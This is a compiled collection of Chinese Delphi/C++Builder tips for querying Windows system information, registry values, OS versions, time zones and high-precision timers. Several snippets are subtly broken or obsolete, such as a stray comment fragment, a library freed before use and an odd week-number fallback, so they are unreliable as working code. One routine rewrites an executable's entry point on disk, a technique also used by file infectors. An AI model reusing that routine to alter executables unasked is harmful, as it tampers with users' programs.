ptgGroups: PTokenGroups;

dwInfoBufferSize: DWORD;

psidAdministrators: PSID;

x: Integer;

bSuccess: BOOL;

begin

Result := False;

bSuccess := OpenThreadToken(GetCurrentThread, TOKEN_QUERY, True,

hAccessToken);

if not bSuccess then

begin

if GetLastError = ERROR_NO_TOKEN then

bSuccess := OpenProcessToken(GetCurrentProcess, TOKEN_QUERY,

hAccessToken);

end;

if bSuccess then

begin

GetMem(ptgGroups, 1024);

bSuccess := GetTokenInformation(hAccessToken, TokenGroups,

ptgGroups, 1024, dwInfoBufferSize);

CloseHandle(hAccessToken);

if bSuccess then

begin

AllocateAndInitializeSid(SECURITY_NT_AUTHORITY, 2,

SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,

0, 0, 0, 0, 0, 0, psidAdministrators);

{$R-}

for x := 0 to ptgGroups.GroupCount - 1 do

if EqualSid(psidAdministrators, ptgGroups.Groups[x].Sid) then

begin

Result := True;

Break;

end;

{$R+}

FreeSid(psidAdministrators);

end;

FreeMem(ptgGroups);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if isAdmin then

begin

ShowMessage('Logged in as Administrator');

end;

end;


获得系统字体信息

function GetLargeFonts: boolean;

var
fontsize : integer;
hdc : Thandle;

begin
result := false;
hdc := GetDc(hwnd_desktop);
fontsize := GetDeviceCaps(hdc,logpixelsx);
ReleaseDc(hwnd_desktop,hdc);
if fontsize = 96 then result := false
else if fontsize = 120 then result := true;
end;


获得系统错误信息

procedure TForm1.Button1Click(Sender: TObject);
begin
{Cause a
Windows system error message to be logged}
ShowMessage(IntToStr(lStrLen(nil)));
ShowMessage(SysErrorMessage(GetLastError));
end;

////////////////////////////////////////////////
procedure DisplayLastErrorMessage(ErrorCode : DWord);
var
MsgBuf : array[0..255] of Char;

  function MakeLangID(PrimaryLanguage,SubLanguage : word) :
DWord;
begin
Result:=SubLanguage shl
10;
Result:=Result or PrimaryLanguage;
end;

begin
FormatMessage(
FORMAT_MESSAGE_FROM_SYSTEM,
nil,
ErrorCode,
MakeLangID(LANG_NEUTRAL,SUBLANG_DEFAULT), // Default language
@MsgBuf,
Sizeof(MsgBuf)-1,
nil
);
MessageBox(0,MsgBuf,nil,MB_OK or MB_ICONINFORMATION);
end;
使用:DisplayLastErrorMessage(GetLastError);


启动组的名称

 在注册表中
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Start Menu


获得回收站的名字

 在注册表中HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}


系统安装日期

var
Buffer     : PByteArray;
BufferSize : Integer;
s          : String;
i          :
Integer;
begin
with TRegistry.Create do try
RootKey:=HKey_LOCAL_Machine;
OpenKey('Software\Microsoft\Windows\Currentversion',False);
try
BufferSize:=GetDataSize('FirstInstallDateTime');
GetMem(Buffer,BufferSize);
try
ReadBinaryData('FirstInstallDateTime',Buffer^,BufferSize);
s:='';
for i:=0 to BufferSize-1
do
s:=Format('%s%.2x
',[s,Buffer^[i]]);
Delete(s,Length(s),1);
Label1.Caption:=s;
finally
FreeMem(Buffer,BufferSize);
end;
finally
CloseKey;
end;
finally
Free;
end;
end;

//////////////////////////////////////////////////////////

function DateInstallWindows (var DateInstall: TDateTime):Boolean;
var
RegDate: TRegistry;
Buffer: Integer;
begin
Result:=False;
RegDate := TRegistry.Create;
try
RegDate.RootKey := HKEY_LOCAL_MACHINE;
if Win32Platform = VER_PLATFORM_WIN32_NT Then
Begin
if RegDate.OpenKey('Software\Microsoft\Windows NT\CurrentVersion', True)
then
Begin
RegDate.ReadBinaryData('InstallDate',Buffer, sizeof (Buffer));
DateInstall:=StrToDateTime (FormatDateTime('dd/mm/yyyy hh:nn', FileDateToDateTime(Buffer)));
Result:=True;
end
end
else
if RegDate.OpenKey('Software\Microsoft\Windows\CurrentVersion', True)
then
Begin
RegDate.ReadBinaryData('FirstInstallDateTime',Buffer, sizeof (Buffer));
DateInstall:=StrToDateTime (FormatDateTime('dd/mm/yyyy hh:nn', FileDateToDateTime(Buffer)));
Result:=True;
end
finally
RegDate.CloseKey;
RegDate.Free;
end;
end;

2.用法

procedure TForm1.BitBtn2Click(Sender: TObject);
var
TheDate: TDateTime;
begin
if DateInstallWindows (TheDate) Then Label1.Caption:=DateTimeToStr (TheDate);
end;


CPU使用率

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, CommCtrl, StdCtrls, Menus,WinSpool, ExtCtrls, Validat, Buttons,
Registry;

type
TForm1 = class(TForm)
Button1: TButton;
Label1: TLabel;
Label2: TLabel;
Timer1: TTimer;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private-Deklarationen }
started : boolean;
reg : TRegistry;
public
{ Public-Deklarationen }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
Dummy : array[0..1024] of byte;

begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_DYN_DATA;
//统计数据在这个表项下
Reg.OpenKey('PerfStats\StartStat',false);
//
Reg.ReadBinaryData('KERNEL\CPUUsage',Dummy,Sizeof(Dummy));
Reg.CloseKey;
started:=true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
CPUU : integer;

begin
if started then
begin
Reg.OpenKey('PerfStats\StatData',false);
Reg.ReadBinaryData('KERNEL\CPUUsage',CPUU,SizeOf(Integer));
Reg.CloseKey;
Label1.Caption:=IntToStr(CPUU)+'%';
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
Dummy : array[0..1024] of byte;

begin
'PerfStats/StopStat' }
Reg.OpenKey('PerfStats\StopStat',false);
Reg.ReadBinaryData('KERNEL\CPUUsage',Dummy,SizeOf(Dummy));
Reg.Free;
Started:=false;
end;

end.


获得滚动条的宽度

 ScrollSize := GetSystemMetrics(SM_CXVSCROLL);


获得系统剩余资源

function LoadLibrary16(LibraryName: PChar): THandle; stdcall; external
kernel32 index 35;
procedure FreeLibrary16(HInstance: THandle); stdcall;
external kernel32 index 36;
function GetProcAddress16(Hinstance: THandle;
ProcName: PChar): Pointer; stdcall; external kernel32 index 37;
procedure
QT_Thunk; cdecl; external kernel32 name 'QT_Thunk';

function GetFreeSysRes(SysRes: Word): Word;
var
Thunks: Array[0..$20] of Word;
begin
Thunks[0] := hInst16;
hInst16 := LoadLibrary16('user.exe');
if hInst16 < 32 then
raise Exception.Create('Can''t load USER.EXE!');
FreeLibrary16(hInst16);
SR := GetProcAddress16(hInst16, 'GetFreeSystemResources');
if SR = nil then
raise Exception.Create('Can''t get address of GetFreeSystemResources!');
asm
push SysRes // push arguments
mov edx, SR // load 16-bit procedure pointer
call QT_Thunk // call thunk
mov Result, ax // save the result
end;
end;

function TResMeter.GetSystemRes: Byte;
begin
Result := GetFreeSysRes(cSystemRes);
end;

function TResMeter.GetGDIRes: Byte;
begin
Result := GetFreeSysRes(cGDIRes);
end;

function TResMeter.GetUSERRes: Byte;
begin
Result := GetFreeSysRes(cUSERRes);
end;


取得系统信息

 GetSystemInfo


得到版本信息

procedure GetBuildInfo(var V1, V2, V3, V4: Word);
var
VerInfoSize: DWORD;
VerInfo:
Pointer;
VerValueSize: DWORD;
VerValue: PVSFixedFileInfo;
Dummy: DWORD;
begin
VerInfoSize :=   GetFileVersionInfoSize(PChar(ParamStr(0)),
Dummy);
GetMem(VerInfo, VerInfoSize);
GetFileVersionInfo(PChar(ParamStr(0)), 0, VerInfoSize, VerInfo);
VerQueryValue(VerInfo, '\', Pointer(VerValue), VerValueSize);
with
VerValue^ do
begin
V1 :=
dwFileVersionMS shr 16;

    V2 := dwFileVersionMS and $FFFF;
V3
:= dwFileVersionLS shr 16;
V4 := dwFileVersionLS and
$FFFF;
end;
FreeMem(VerInfo,
VerInfoSize);
end;


识别系统的语言版本

LangID:integer;
Langid:=GetSystemDefaultLangID;
if LangID= ((SUBLANG_CHINESE_SIMPLIFIED shl 10) or LANG_CHINESE) then
//简体中文

Var
LCID: Integer;
BLanguageID : array[0..3] of char;
Begin
// System language
LCID := GetSystemDefaultLCID;
GetLocaleInfo(LCID,LOCALE_SABBREVLANGNAME,BLanguageID,3);
// User language
LCID := GetUserDefaultLCID;
GetLocaleInfo(LCID,LOCALE_SABBREVLANGNAME,BLanguageID,3);
end;

function WhichLanguage:string;
var
ID:LangID;
Language: array [0..100] of char;
begin
ID:=GetSystemDefaultLangID;
VerLanguageName(ID,Language,100);
Result:=String(Language);
end;

Sample call:

procedure TForm1.Button1Click(Sender: TObject);
begin
Edit1.Text:=WhichLanguage;
end;


用户信息

如何得到Windows的用户名称和产品序列号呢？
1. 可以用 WNetGetUser() 这个函数来得到 user name;
2. Windows 95 的产品序号可以用 TRegistry 到 Registry Database 中找出来;
// 取得用户名称
function GetUserName: AnsiString;
var
lpName: PAnsiChar;
lpUserName: PAnsiChar;
lpnLength: DWORD;
begin
Result := '';
lpnLength := 0;
WNetGetUser(nil, nil, lpnLength); // 取得字串长度
if lpnLength > 0 then
begin
GetMem(lpUserName, lpnLength);
if WNetGetUser(lpName, lpUserName, lpnLength) = NO_ERROR then

Result := lpUserName;
FreeMem(lpUserName, lpnLength);
end;
end; {
GetUserName }

// 取得 Windows 产品序号
function GetWindowsProductID: string;
var
reg: TRegistry;
begin
Result := '';
reg := TRegistry.Create;
with reg do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('Software\Microsoft\Windows\CurrentVersion', False);
Result := ReadString('ProductID');
end;
reg.Free;
end;
//////////////////////////////////////////
uses Registry;

procedure GetUserInfo(var Username,Company : string);
var
Reg : TRegistry;

begin
Reg:=TRegistry.Create;
Reg.OpenKey('Software\Microsoft\MS Setup (ACME)\User info',false);
if
Reg.ValueExists('DefCompany') then
Company:=Reg.ReadString('DefCompany')
else
Company:='';
if Reg.ValueExists('DefName') then
Username:=Reg.ReadString('DefName')
else
Username:='';
Reg.Free;
end;
////////////////////////////////////////////////////////
procedure
TForm1.Button1Click(Sender: TObject);
var
buffer : array[0..255] of
char;
buffSize : DWORD;
begin
buffSize :=
sizeOf(buffer);
GetUserName(@buffer, buffSize);
ShowMessage(buffer);
end;

Using an array of char the memory will be freed on termination
of the application.

Or Using Long Strings Like this:

procedure TForm1.Button2Click(Sender: TObject);
var
buffer :
string;
buffSize : DWORD;
begin
buffSize:=128;
SetLength(buffer,BuffSize);
GetUserName(PChar(buffer),
buffSize);
ShowMessage(buffer);
end;

Using Long Strings, the memory will be freed when the String
variable falls out of scope.


得到计算机名字

var
CNameBuffer : PChar;
fl_loaded : Boolean;
CLen : ^DWord;

begin

GetMem(CNameBuffer,255);
New(CLen);
CLen^:= 255;

fl_loaded := GetComputerName(CNameBuffer,CLen^);

if fl_loaded then
ComputerName := StrPas(CNameBuffer)
else
ComputerName := 'Unkown';

FreeMem(CNameBuffer,255);
Dispose(CLen);

end;


如何获得DOS/WIN版本号？

用API GetVersion ，不过结果被编码了：
Type
TGetVer = record
WinVer,
WinRev,
DosRev,
DosVer: Byte;
end;
const
VerStr = '%d.%d';
procedure TForm1.Button1Click(Sender: TObject);
var
AllVersions: TGetVer;
begin
AllVersions := TGetVer(GetVersion);
Edit1.Text := Format(VerStr, [AllVersions.WinVer, AllVersions.WinRev]);
Edit2.Text := Format(VerStr, [AllVersions.DOSVer, AllVersions.DOSRev]);
end;
注：返回的版本和真实版本未必相同；
Note2: Win32应用程序需要用GetVersionEx

{$IFDEF WIN32}
function GetVersionEx(lpOs : pointer) : BOOL; stdcall;
external 'kernel32' name 'GetVersionExA';
{$ENDIF}

   procedure GetWindowsVersion(var Major : integer;
var Minor : integer);
var
{$IFDEF WIN32}
lpOS, lpOS2 : POsVersionInfo;
{$ELSE}
l : longint;
{$ENDIF}
begin
{$IFDEF WIN32}
GetMem(lpOS, SizeOf(TOsVersionInfo));
lpOs^.dwOSVersionInfoSize := SizeOf(TOsVersionInfo);
while getVersionEx(lpOS) = false do begin
GetMem(lpos2, lpos^.dwOSVersionInfoSize + 1);
lpOs2^.dwOSVersionInfoSize :=
   lpOs^.dwOSVersionInfoSize + 1;
FreeMem(lpOs, lpOs^.dwOSVersionInfoSize);
lpOS := lpOs2;
end;
Major := lpOs^.dwMajorVersion;
Minor := lpOs^.dwMinorVersion;
FreeMem(lpOs, lpOs^.dwOSVersionInfoSize);
{$ELSE}
l := GetVersion;
Major := LoByte(LoWord(l));
Minor := HiByte(LoWord(l));
{$ENDIF}
end;

procedure TForm1.Button1Click(Sender: TObject);
var
Major : integer;
Minor : integer;
begin
GetWindowsVersion(Major, Minor);
Memo1.Lines.Add(IntToStr(Major));
Memo1.Lines.Add(IntToStr(Minor));
end;

if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
ShowMessage('win9x');
if Win32Platform = VER_PLATFORM_WIN32_NT then
ShowMessage('winNT');

procedure TForm1.Button1Click(Sender: TObject);
var
OS : TOSVersionInfo;
begin
OS.dwOSVersionInfoSize := sizeof(OS);
GetVersionEx(OS);
with OS do
case dwPlatformId of
VER_PLATFORM_WIN32s :
label1.caption := 'Windows 3.1x/32s';
VER_PLATFORM_WIN32_WINDOWS :
Begin
if (dwMajorVersion = 4) and (dwMinorVersion > 0) then
label1.caption := 'Windows 98'
else
label1.caption := 'Windows 95';
end;
VER_PLATFORM_WIN32_NT :
label1.caption := 'Windows NT' ;
end;
end;

Const

cOsUnknown : Integer = -1;

cOsWin95 : Integer = 0;

cOsWin98 : Integer = 1;

cOsWin98SE : Integer = 2;

cOsWinME : Integer = 3;

cOsWinNT : Integer = 4;

cOsWin2000 : Integer = 5;

cOsWhistler : Integer = 6;

Function GetOSVersion : Integer;

Function GetOSName( OSCode : Integer ) : String;

Function GetOSVersion : Integer;

Var

osVerInfo : TOSVersionInfo;

majorVer, minorVer : Integer;

Begin

Result := cOsUnknown;

osVerInfo.dwOSVersionInfoSize := SizeOf( TOSVersionInfo );

If ( GetVersionEx( osVerInfo ) ) Then Begin

majorVer := osVerInfo.dwMajorVersion;

minorVer := osVerInfo.dwMinorVersion;

Case ( osVerInfo.dwPlatformId ) Of

VER_PLATFORM_WIN32_NT : { Windows NT/2000 }

Begin

If ( majorVer <= 4 ) Then

Result := cOsWinNT

Else

If ( ( majorVer = 5 ) And ( minorVer= 0 ) ) Then

Result := cOsWin2000

Else

If ( ( majorVer = 5) And ( minorVer = 1 ) ) Then

Result := cOsWhistler

Else

Result := cOsUnknown;

End;

VER_PLATFORM_WIN32_WINDOWS : { Windows 9x/ME }

Begin

If ( ( majorVer = 4 ) And ( minorVer = 0 ) ) Then

Result := cOsWin95

Else If ( ( majorVer = 4 ) And ( minorVer = 10 ) ) Then Begin

If ( osVerInfo.szCSDVersion[ 1 ] = 'A' ) Then

Result := cOsWin98SE

Else

Result := cOsWin98;

End Else If ( ( majorVer = 4) And ( minorVer = 90 ) ) Then

Result := cOsWinME

Else

Result := cOsUnknown;

End;

Else

Result := cOsUnknown;

End;

End Else

Result := cOsUnknown;

End;

Function GetOSName( OSCode : Integer ) : String;

Begin

If ( OSCode = cOsUnknown ) Then

Result := '(sconosciuto)'

Else If ( OSCode = cOsWin95 ) Then

Result := 'Microsoft Windows 95'

Else If ( OSCode = cOsWin98 ) Then

Result := 'Microsoft Windows 98'

Else If ( OSCode = cOsWin98SE ) Then

Result := 'Microsoft Windows 98 Second Edition'

Else If ( OSCode = cOsWinME ) Then

Result := 'Microsoft Windows Millennium Edition'

Else If ( OSCode = cOsWinNT ) Then

Result := 'Microsoft Windows New Technology'

Else If ( OSCode = cOsWin2000 ) Then

Result := 'Microsoft Windows 2000 / NT 5'

Else

Result := 'Microsoft Windows';

End;


获得程序进入点

function GetEntryPoint(fName: string) : pointer;
begin
with TMemoryStream.Create do
try
LoadFromFile(fName);
dword(result) := GetModuleNtHeaders(dword(Memory)).OptionalHeader.AddressOfEntryPoint;
finally Free end;
end;

procedure SetEntryPoint(fName: string; newEntryPoint: pointer);
begin
with TMemoryStream.Create do
try
LoadFromFile(fName);
GetModuleNtHeaders(dword(Memory)).OptionalHeader.AddressOfEntryPoint :=
newEntryPoint;
SaveToFile(fName);
finally Free end;
end;


改计算机名

 改变计算机在网络中的名字，重新启动后才生效
SetComputerName('Hello World');


显示设置时间对话框

 ShellExecute(Handle, 'open', 'control', 'date/time', nil, SW_SHOW);


取得自从开机到现在CPU运行的周期数

取得自从开机到现在CPU运行的周期数，超毫秒级的精度
function Ticker : DWord; register;
begin
asm
push EAX
push EDX
db $0f,$31
mov Result, EAX
pop EDX
pop EAX
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
showmessage(inttostr( Ticker));
end;

//rock
//转载请保留此信息


从Internet时间服务器获取标准格林尼治时间

由于本机系统时间不准确，所以决定从Internet 时间服务器获取标准时间来校正 系统时间，说干就干。

程序设计步骤如下：

1、 新建一个工程；

2、 在窗体上放一个TEdit控件和一个TClientSocket（在Internet页下）控件。TEdit用来显示取得的格林尼治时间转化成北京时间后的时间，TClientSocket用来从Internet 时间服务器获取标准的格林尼治时间；

3、 程序代码如下：

procedure TForm1.FormCreate(Sender: TObject);

begin

ClientSocket1.Host :='tick.usno.navy.mil'; // 美国海军天文台；

ClientSocket1.Port :=13;

ClientSocket1.Open;

end;

procedure TForm1.ClientSocket1Read(Sender: TObject;

Socket: TCustomWinSocket);

var

TempTime: TDateTime;

hh,mm,ss,ms: word;

sTime : string;

begin

sTime := Socket.ReceiveText; // 取得格林尼治时间；

sTime:=Copy(sTime,12,8); // 取得时间部分；

DecodeTime(StrToTime(sTime),hh,mm,ss,ms);

  hh:=(hh+8)
mod 24;
// 转化成北京时间；

TempTime:=EncodeTime(hh,mm,ss,ms);

Edit1.Text :=TimeToStr(TempTime);

end;

4、 编译运行，稍微等几秒钟（和你的网络速度有关，笔者等了大概一秒钟），TEdit控件就显示出了由格林尼治时间转化得到的北京时间。

怎么样？很简单吧。赶快试一下吧！需要说明一点：由于网络延时的缘故，这

个程序得到的时间会和标准时间有几秒的误差，但除非你用来控制火箭的发射，否

则，这无妨大碍。

笔者是从美国海军天文台得到标准时间，你还可以从别的时间服务器上获间，但由于每个时间服务器的时间格式不同，所以在编写程序时要注意作相应的处理。

域名 组织

Clock.sgi.com SGI

Tick.mit.edu 麻省理工学院

Time.nist.gov NIST


释放资源超时
CoDelphi.com

摘　要：释放资源超时其实很容易解决
关键字：超时 延迟 等待
类　别：系统控制
这里有两段小程序可以解决超时，它不占有任何额外的线程，故此所耗资源为零

以下是一个典型的应用的例子

MyTimeM := MarkTime(10000); // 10s max time
repeate
// 操作
// ...
until TimeOut(MyTimeM) OR
SomeOtherCondition ;

Function MarkTime(MSek: LongInt):LongInt;
Var TM: LongWord;
//创建一个Time-Stamp，数值为Msek单位倍数的1/1000秒
{
IF TM > (MaxInt - MSek) // 49,7 天后
Then MarkTime := MSek - (MaxInt - TM)
Else MarkTime := TM + MSek;
}
Begin
TM := GetTickCount; // DWord Arithmetic不被支持
asm
MOV EAX,TM
ADD EAX,MSek
JC @M1
{ now DWORD handles Wrap-around}
@M1:
MOV Result,EAX
end;

End;

Function TimeOut(TM:LongInt): Boolean;
(* True if Time for TM has expired *)
Var Ticks: DWORD;
{
B := Ticks > TM;
IF B AND ((Ticks - TM) > 2000000000) Then B := False; //verm. warten auf 躡erlauf
TimeOut := B;
}
Begin
Ticks := GetTickCount;
asm
MOV EAX,Ticks
SUB EAX,TM
JAE @M1
JMP @M2
@M1:
CMP EAX,$80000000 {Wrap-around occured}
JAE @M2
MOV RESULT,TRUE
JMP @M3
@M2:
MOV RESULT,FALSE
@M3:
end;

End;

投稿人：grhunter　投稿日期：2001-3-28 16:57:00


判断当前时间是否夏令时

uses Windows;

const
TIME_ZONE_ID_UNKNOWN = 0;
TIME_ZONE_ID_STANDARD = 1;
TIME_ZONE_ID_DAYLIGHT = 2;

procedure TForm1.Button1Click(Sender: TObject);
var
TZ : TTimeZoneInformation;

begin
case GetTimeZoneInformation(TZ) of
TIME_ZONE_ID_STANDARD : label1.caption := tz.StandardName;
TIME_ZONE_ID_DAYLIGHT: label1.caption := tz.DaylightName;
else
label1.caption := 'Unknown';
end;
end;


把字符串转换成日期

把字符串转换成日期（VarToDateTime允许更大的灵活性）
Bernhard Angerer

摘　要：我要把字符串转换成日期，但StrToDate不行。我要把"December 6, 1969"转换成TdateTime，怎么办？
关键字：TdateTime variant
类　别：API

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

StrToDate只能转换数字，所以你的字符串中有月份名，你就要使用VarToDateTime。这里是例子。
var
D1, D2, D3 : TDateTime;
begin
D1 := VarToDateTime('December 6, 1969');
D2 := VarToDateTime('6-Apr-1998');
D3 := VarToDateTime('1998-Apr-6');
ShowMessage(DateToStr(D1)+' '+DateToStr(D2)+' '+
DateToStr(D3));
end;
投稿人：大鱼儿　投稿日期：2001-5-23 21:40:00


返回4位年份的日期表示

 function Y2DateToStr(d : TDateTime): string;
begin
Result := FormatDateTime('dd.mm.yyyy', d);
end;


获得星期数

//第零星期表明第一个星期天的礼拜
function WeekNum(const TDT:TDateTime) : Word;
var
Y,M,D:Word;
dtTmp:TDateTime;
begin
DecodeDate(TDT,Y,M,D);
dtTmp:=EnCodeDate(Y,1,1);
Result:=(Trunc(TDT-dtTmp)+(DayOfWeek(dtTmp)-1)) DIV 7;
if Result=0 then
Result:=51
else
Result:=Result-1;
end;


计算任意月份的天数

procedure TForm1.Button1Click(Sender: TObject);
var
MyDate :
TDateTime;
tmpStr : String;
tmpInt : Integer;
begin
MyDate := Date()
+ 365 - (30*5);
tmpStr := FormatDateTime('mmmm yyyy',MyDate);
tmpInt :=
DaysInMonth(MyDate);
ShowMessage(tmpStr + '有 ' + IntToStr(tmpInt) +
'天');
end;

function TForm1.DaysInMonth(ADate:TDateTime):Integer;
var
MyMonth,
MyYear,
MyDay : Word;
MyDayTable : TDayTable;
tmpBool : Boolean;
begin
DecodeDate(ADate, MyYear, MyMonth, MyDay);
tmpBool := IsLeapYear(MyYear);
MyDayTable := MonthDays[tmpBool];
Result := MyDayTable[MyMonth];
end;


获得时区信息

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey(
'SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones',
false);
if reg.HasSubKeys then begin
ts := TStringList.Create;
reg.GetKeyNames(ts);
reg.CloseKey;
for i := 0 to ts.Count -1 do begin
reg.OpenKey(
'SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones\' +
ts.Strings[i],
false);
Memo1.Lines.Add(ts.Strings[i]);
Memo1.Lines.Add(reg.ReadString('Display'));
Memo1.Lines.Add(reg.ReadString('Std'));
Memo1.Lines.Add(reg.ReadString('Dlt'));
Memo1.Lines.Add('----------------------');
reg.CloseKey;
end;
ts.Free;
end else
reg.CloseKey;
reg.free;
end;
//////////////////////////////////////////////////////////////
>HKEYLocal Machine/Software/Microsoft/Windows/CurrentVersion/TimeZones/
>is the place where Timezone infos are stored in the registry. The
>binary 'TZI' entry should be the info for start and end times of
>daylight saving times. Anyone has an idea how to extract the dates
>from this value?

The TZI entry seems to be structured as follows:

int32 Bias; // Minutes from GMT
// (Sydney -600; 0xfffffda8;
// or a8, fd, ff, ff)
int32 StandardBias; // Bias for Standard time (0)
int32 DaylightBias; // Bias for Daylight time (-60
// or 0xffffffc4 )
int16 ?? // 0
int16 StandardStartMonth; // 3 => March
int16 StandardStartDayOfWeek??; // 0 => Sun
int16 StandardStartDOWoccurrence; // 1 => 1st
int16 StandardStartHour; // 2 => 02:00:00.00
int16 StandardStartMins??; // 0 => 02:00:00.00
int16 StandardStartSecs??; // 0 => 02:00:00.00
int16 StandardStartHunds??; // 0 => 02:00:00.00
int16 ?? // 0
int16 DaylightStartMonth; // 0x0a (10) => October
int16 DaylightStartDayOfWeek??; // 0 => Sun
int16 DaylightStartDOWoccurrence; // 5 => last
int16 DaylightStartHour; // 2 => 02:00:00.00
int16 DaylightStartMins??; // 0 => 02:00:00.00
int16 DaylightStartSecs??; // 0 => 02:00:00.00
int16 DaylightStartHunds??; // 0 => 02:00:00.00


高精度定时器的实现

Win95下高精度定时器的实现

---- 在工业控制软件中，数据采集和实时控制是经常性的工作。目前，工业控制软件已经从DOS和Windows3.x平台，转到了Windows95上。然而，Windows95并不能直接支持中断，这就意味着在DOS和Windows3.x中的定时器中断不能为我们所用。因此，我们必须寻求新的定时方式。
---- 在C++ Builder和Delphi等典型的编程语言中，都提供了定时器控件，可以方便地实现定时和事件响应。此外，Windows95还提供了SetTimer和KillTimer函数来设置和删除一个定时器，在事件WM_TIMER响应函数中实现处理。然而，遗憾的是，通过这些方式获得的Win95定时器最小只能精确到55毫秒，对于55毫秒以下的时间精度便无能为力。这对于Win95下测控软件的开发是十分不利的。幸运的是，多媒体定时器可以解决这一难题。
---- 以下是一个完整的多媒体定时器设计示例程序，该定时器的精度为1毫秒。该程序的内容十分简单：按下按钮1，启动定时器，在Edit框中显示定时值（计数值），按下按钮2则将关闭定时器。此程序在Windows95环境下，采用C++Builder3.0编程并编译通过，但设计思想同样适用于其它高级语言。按照本程序中的实现方法，读者将可以轻松实现自己的高精度定时器。
---- 程序清单如下：

#include < vcl.h >
#pragma hdrstop

#include "mmsystem.h"   //包含多媒体定时器函数的头文件
#define MilliSecond  1  //定时间隔1毫秒
#define Accuracy     1  //系统允许的分辨率最小值

#define Min(x,y)  ((x < y) ? x : y)
#define Max(x,y)  ((x > y) ? x : y)

#include "HighTimerU.h"
//------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
UINT TimerID;    //定义定时器句柄
int count;       //定义一个变量以进行计数
int TimerAccuracy;
TForm1 *Form1;
//------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
    : TForm(Owner)
{
}

void PASCAL TimerCallProc(UINT
TimerID, UINT msg,DWORD dwUser,
           DWORD dwa,DWORD dwb)
//定义定时器事件的调用函数
{
    count++;
    Form1- >Edit1->Text=count;
 //在一个编辑框内显示计数值，即定时值
}

//---------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
    TIMECAPS timecaps;
    int TimerResolution;

 //从系统获得关于定时器服务能力的信息，
//分辨率不能超出系统许可值（1到16毫秒）
  if (timeGetDevCaps(&timecaps,sizeof(
TIMECAPS))==TIMERR_NOERROR)
      TimerAccuracy=Min(Max(timecaps.wPeriodMin,
Accuracy),timecaps.wPeriodMax);

    timeBeginPeriod(TimerAccuracy);
//设置定时器分辨率

    TimerResolution=1;    //设置定时间隔为1毫秒

   //产生间隔1毫秒，周期执行的定时器事件；启动定时器
    TimerID = timeSetEvent(TimerResolution,TimerAccuracy,
                        &TimerCallProc,1,TIME_PERIODIC);
}
//-------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
    timeKillEvent(TimerID);        //删除定时器事件
    timeEndPeriod(TimerAccuracy);  //清除定时器分辨率
}

---- 多媒体定时器对实现高精度定时是很理想的工具，而且其精度是十分可靠的。但是，多媒体定时器也并不是完美的。因为它可靠的精度是建立在对系统资源的消耗之上的。因此，在利用多媒体定时器完成工作的同时，必须注意以下几点：
---- 1． 多媒体定时器的设置分辨率不能超出系统许可范围。
---- 2． 在使用完定时器以后，一定要及时删除定时器及其分辨率，否则系统会越来越慢。
---- 3． 多媒体定时器在启动时，将自动开辟一个独立的线程。在定时器线程结束之前，注意一定不能再次启动该定时器，不然将迅速造成死机。

利用delphi建立精确计数器

   作者 : TechnoFantasy
在windows中的很多场合下编程（例如工业控制、游戏）中需要比较精确的记时器，本文讨论的是在delphi下实现记时器的若干方法以及它们的精度控制问题。

在delphi中最常用的是timer控件，它的设置和使用都非常方便，理论上它的记时精度可以达到1ms(毫秒)。但是众所周知的，实际上timer在记时间隔小于50ms之下是精度是十分差的。它只适用于对于精度要求不太高的场合。

这里作者要介绍的是两种利用windows api函数实现精确记时的方法。第一中方法是利用高性能频率记数（作者本人的称呼）法。利用这种方法要使用两个api函数queryperformancefrequency和queryperformancecounter。queryperformancefrequency函数获得高性能频率记数器的震荡频率。

调用该函数后，函数会将系统频率记数器的震荡频率（每毫秒）保存到一个largeinteger中。不过利用该函数在几台机器上做过试验，结果都是1193180。读者朋友可以在自己的机器上试一下

queryperformancecounter函数获得系统频率记数器的震荡次数，结果也保存到一个largenteger中。

很显然，如果在计时中首先使用queryperformancefrequency获得高性能频率记数器每毫秒的震荡次数，然后在计时开始时使用queryperformancecounter函数获得当前系统频率记数器的震荡次数。在计时结束时再调用queryperformancecounter函数获得系统频率记数器的震荡次数。将两者相减，再将结果除以频率记数器每毫秒的震荡次数，就可以获得某一事件经过的准确时间。(次数除以频率等于时间)

另外的一种精确记时器的功能是利用多媒体记时器函数（这也是作者的定义，因为这个系列的函数是在winmm.dll中定义并且是为媒体播放服务的）。

实现多媒体记时器首先要使用timesetevent函数建立计时事件。该函数在delphi中的mmsystem.pas中有定义，定义如下：

function timesetevent(udelay, uresolution: uint;

lpfunction: tfntimecallback; dwuser: dword; uflags: uint):
   mmresult; stdcall

函数定义中参数udelay定义延迟时间，以毫秒为单位，该参数相当于timer控件的interval属性。参数uresolution定义记时精度，如果要求尽可能高的精度，要将该参数设置为0；参数lpfunction定义了timesetevent函数的回调函数。该函数相当于一个定时中断处理函数，每当经过一个udelay长度的时间间隔，该函数就会被调用，编程者可以在该函数中加入相应的处理语句。参数dwuser定义用户自定义的回调值，该值将传递给回调函数。参数uflags定义定时类型，如果要不间断的记时，该值应设置为1。

